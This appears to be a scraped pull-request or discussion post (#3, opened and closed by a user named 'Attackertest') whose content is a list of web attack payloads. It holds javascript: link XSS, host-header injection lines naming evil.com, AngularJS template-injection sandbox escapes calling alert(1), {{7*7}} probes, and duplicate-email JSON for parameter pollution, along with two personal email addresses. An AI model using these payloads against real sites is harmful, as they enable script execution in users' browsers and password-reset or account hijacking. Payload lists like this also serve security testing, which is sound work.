"><a href=javascript:alert()>X</a>
#3
by
Attackertest
- opened
">X
Host: evil.com
Origin: evil.com
X-Forwarded-Host: evil.com
Template Injection - {{ 77 }}
{{constructor.constructor('alert(1)')()}
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}
{"email":"tendine54321@gmail.com","email":"zenox54321@gmail.com"}
{"email":["tendine54321@gmail.com","zenox54321@gmail.com"]}
">Click here
">">X
">">X{{ 77 }}
">">X{{ 7*7 }}
">{{constructor.constructor('alert(1)')()}
">">
">X
">
Attackertest
changed pull request status to
closed